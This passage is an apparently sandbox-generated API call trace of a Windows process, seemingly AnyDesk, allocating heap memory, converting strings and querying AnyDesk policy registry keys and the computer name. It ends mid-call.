[0194.197] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aae8 | out: hHeap=0x3b0000) returned 1 [0194.197] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4aae8 [0194.197] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab18 | out: hHeap=0x3b0000) returned 1 [0194.197] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aae8 | out: hHeap=0x3b0000) returned 1 [0194.197] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55788 | out: hHeap=0x3b0000) returned 1 [0194.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a065c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0194.197] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55788 [0194.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a065c8, cbMultiByte=-1, lpWideCharStr=0xe55788, cchWideChar=21 | out: lpWideCharStr="ad.discovery.verbose") returned 21 [0194.197] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aae8 [0194.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.198] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab18 [0194.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ab18, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.198] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aaf8 [0194.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.198] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab08 [0194.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ab08, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.198] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.198] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x31) returned 0xe327b8 [0194.198] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe33228 [0194.198] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe327b8 | out: hHeap=0x3b0000) returned 1 [0194.198] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab08 [0194.198] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54ec8 [0194.198] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55830 [0194.198] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.198] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aaf8 | out: hHeap=0x3b0000) returned 1 [0194.198] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe33258 [0194.199] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.verbose", lpReserved=0x0, lpType=0x2a7b608, lpData=0x0, lpcbData=0x2a7b60c*=0x0 | out: lpType=0x2a7b608*=0x0, lpData=0x0, lpcbData=0x2a7b60c*=0x0) returned 0x6 [0194.199] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b634 | out: phkResult=0x2a7b634*=0x0) returned 0x2 [0194.199] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33258 | out: hHeap=0x3b0000) returned 1 [0194.199] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aaf8 [0194.199] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.199] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab08 [0194.199] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ab08, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.199] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.199] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x31) returned 0xe327b8 [0194.199] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe33258 [0194.200] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe327b8 | out: hHeap=0x3b0000) returned 1 [0194.200] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab08 [0194.200] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54ee8 [0194.200] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55868 [0194.200] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.200] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aaf8 | out: hHeap=0x3b0000) returned 1 [0194.200] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe33288 [0194.200] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.verbose", lpReserved=0x0, lpType=0x2a7b608, lpData=0x0, lpcbData=0x2a7b60c*=0x0 | out: lpType=0x2a7b608*=0x0, lpData=0x0, lpcbData=0x2a7b60c*=0x0) returned 0x6 [0194.200] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b634 | out: phkResult=0x2a7b634*=0x0) returned 0x2 [0194.201] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33288 | out: hHeap=0x3b0000) returned 1 [0194.201] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aae8 | out: hHeap=0x3b0000) returned 1 [0194.201] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4aae8 [0194.201] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab18 | out: hHeap=0x3b0000) returned 1 [0194.201] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aae8 | out: hHeap=0x3b0000) returned 1 [0194.201] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55788 | out: hHeap=0x3b0000) returned 1 [0194.201] GetLastError () returned 0x0 [0194.202] GetSystemTime (in: lpSystemTime=0x2a7b69c | out: lpSystemTime=0x2a7b69c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x16, wMilliseconds=0x2a5)) [0194.202] GetCurrentThreadId () returned 0xa0c [0194.202] GetCurrentProcessId () returned 0x994 [0194.202] GetLastError () returned 0x0 [0194.202] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.hidden", lpReserved=0x0, lpType=0x2a7b5f8, lpData=0x0, lpcbData=0x2a7b5fc*=0x0 | out: lpType=0x2a7b5f8*=0x0, lpData=0x0, lpcbData=0x2a7b5fc*=0x0) returned 0x6 [0194.202] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b624 | out: phkResult=0x2a7b624*=0x0) returned 0x2 [0194.202] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe332e8 | out: hHeap=0x3b0000) returned 1 [0194.202] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab38 [0194.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.202] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab48 [0194.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ab48, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.203] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab48 | out: hHeap=0x3b0000) returned 1 [0194.203] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2f) returned 0xe55788 [0194.203] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x22) returned 0xe332e8 [0194.203] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55788 | out: hHeap=0x3b0000) returned 1 [0194.203] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab48 [0194.203] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54f28 [0194.203] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe33318 [0194.203] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab48 | out: hHeap=0x3b0000) returned 1 [0194.203] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab38 | out: hHeap=0x3b0000) returned 1 [0194.203] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x22) returned 0xe33348 [0194.203] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.hidden", lpReserved=0x0, lpType=0x2a7b5f8, lpData=0x0, lpcbData=0x2a7b5fc*=0x0 | out: lpType=0x2a7b5f8*=0x0, lpData=0x0, lpcbData=0x2a7b5fc*=0x0) returned 0x6 [0194.203] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b624 | out: phkResult=0x2a7b624*=0x0) returned 0x2 [0194.204] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33348 | out: hHeap=0x3b0000) returned 1 [0194.204] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.204] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe54fe8 [0194.204] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab28 | out: hHeap=0x3b0000) returned 1 [0194.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cb4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0194.204] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe55000 [0194.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cb4, cbMultiByte=-1, lpWideCharStr=0xe55000, cchWideChar=5 | out: lpWideCharStr="true") returned 5 [0194.204] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55000 | out: hHeap=0x3b0000) returned 1 [0194.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cbc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0194.204] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55000 [0194.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cbc, cbMultiByte=-1, lpWideCharStr=0xe55000, cchWideChar=6 | out: lpWideCharStr="false") returned 6 [0194.205] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55000 | out: hHeap=0x3b0000) returned 1 [0194.205] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54fe8 | out: hHeap=0x3b0000) returned 1 [0194.205] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab28 [0194.205] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab08 [0194.205] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab38 [0194.205] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab48 [0194.205] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab58 [0194.205] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab68 [0194.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.205] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ab78, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.205] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab88 [0194.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ab88, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.205] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.205] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab78 [0194.206] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab88 | out: hHeap=0x3b0000) returned 1 [0194.206] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.206] GetComputerNameW (in: lpBuffer=0x2a7b694, nSize=0x2a7b690 | out: lpBuffer="Q9IATRKPRH", nSize=0x2a7b690) returned 1 [0194.207] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x16) returned 0xe54f48 [0194.207] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab58 | out: hHeap=0x3b0000) returned 1 [0194.207] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab28 | out: hHeap=0x3b0000) returned 1 [0194.207] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab28 [0194.207] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1) returned 0xe4ab58 [0194.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.207] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ab78, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.207] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab88 [0194.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ab88, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.208] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.208] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.208] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab88 | out: hHeap=0x3b0000) returned 1 [0194.208] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aac8 | out: hHeap=0x3b0000) returned 1 [0194.208] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aac8 [0194.208] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.208] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.208] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab08 [0194.208] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab68 | out: hHeap=0x3b0000) returned 1 [0194.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0194.208] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe4ab68 [0194.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0xe4ab68, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0194.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a17bb4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0194.208] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe54fe8 [0194.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a17bb4, cbMultiByte=-1, lpWideCharStr=0xe54fe8, cchWideChar=8 | out: lpWideCharStr="Windows") returned 8 [0194.208] GetLastError () returned 0x0 [0194.209] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.defaultbehavior", lpReserved=0x0, lpType=0x2a7b5e0, lpData=0x0, lpcbData=0x2a7b5e4*=0x0 | out: lpType=0x2a7b5e0*=0x0, lpData=0x0, lpcbData=0x2a7b5e4*=0x0) returned 0x6 [0194.209] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b60c | out: phkResult=0x2a7b60c*=0x0) returned 0x2 [0194.210] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe326f8 | out: hHeap=0x3b0000) returned 1 [0194.210] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab48 [0194.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.210] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab68 [0194.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ab68, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.210] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab68 | out: hHeap=0x3b0000) returned 1 [0194.210] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x43) returned 0xe2fb28 [0194.210] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe326f8 [0194.210] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fb28 | out: hHeap=0x3b0000) returned 1 [0194.210] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab68 [0194.210] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b680 [0194.210] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3c) returned 0xe10e10 [0194.211] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab68 | out: hHeap=0x3b0000) returned 1 [0194.211] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab48 | out: hHeap=0x3b0000) returned 1 [0194.211] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe32838 [0194.211] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.defaultbehavior", lpReserved=0x0, lpType=0x2a7b5e0, lpData=0x0, lpcbData=0x2a7b5e4*=0x0 | out: lpType=0x2a7b5e0*=0x0, lpData=0x0, lpcbData=0x2a7b5e4*=0x0) returned 0x6 [0194.211] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b60c | out: phkResult=0x2a7b60c*=0x0) returned 0x2 [0194.211] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32838 | out: hHeap=0x3b0000) returned 1 [0194.211] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.211] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab08 [0194.211] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab38 | out: hHeap=0x3b0000) returned 1 [0194.211] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.211] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab08 [0194.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ab08, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.212] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab38 [0194.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ab38, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.212] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab48 [0194.212] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab48 | out: hHeap=0x3b0000) returned 1 [0194.212] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe32838 [0194.212] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.defaultbehavior", lpReserved=0x0, lpType=0x2a7b5e0, lpData=0x0, lpcbData=0x2a7b5e4*=0x0 | out: lpType=0x2a7b5e0*=0x0, lpData=0x0, lpcbData=0x2a7b5e4*=0x0) returned 0x6 [0194.212] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b60c | out: phkResult=0x2a7b60c*=0x0) returned 0x2 [0194.212] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32838 | out: hHeap=0x3b0000) returned 1 [0194.213] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab48 [0194.213] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab48 | out: hHeap=0x3b0000) returned 1 [0194.213] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe32838 [0194.213] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.defaultbehavior", lpReserved=0x0, lpType=0x2a7b5e0, lpData=0x0, lpcbData=0x2a7b5e4*=0x0 | out: lpType=0x2a7b5e0*=0x0, lpData=0x0, lpcbData=0x2a7b5e4*=0x0) returned 0x6 [0194.213] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b60c | out: phkResult=0x2a7b60c*=0x0) returned 0x2 [0194.213] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32838 | out: hHeap=0x3b0000) returned 1 [0194.213] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.213] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab08 [0194.214] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab38 | out: hHeap=0x3b0000) returned 1 [0194.214] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.214] GetLastError () returned 0x0 [0194.214] GetSystemTime (in: lpSystemTime=0x2a7b6e4 | out: lpSystemTime=0x2a7b6e4*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x16, wMilliseconds=0x2b5)) [0194.214] GetCurrentThreadId () returned 0xa0c [0194.214] GetCurrentProcessId () returned 0x994 [0194.214] GetLastError () returned 0x0 [0194.214] GetProcessId (Process=0xffffffff) returned 0x994 [0194.214] ProcessIdToSessionId (in: dwProcessId=0x994, pSessionId=0x2a7b800 | out: pSessionId=0x2a7b800) returned 1 [0194.214] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c5990, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0194.214] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab08 [0194.215] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c5990, cbMultiByte=-1, lpWideCharStr=0xe4ab08, cchWideChar=2 | out: lpWideCharStr="-") returned 2 [0194.215] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c5990, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0194.215] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab38 [0194.215] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c5990, cbMultiByte=-1, lpWideCharStr=0xe4ab38, cchWideChar=2 | out: lpWideCharStr="-") returned 2 [0194.215] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab48 [0194.215] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab68 [0194.215] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab38 | out: hHeap=0x3b0000) returned 1 [0194.215] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.215] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d6128, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.215] RtlAllocateHeap (HeapHandle=0x3b0000, 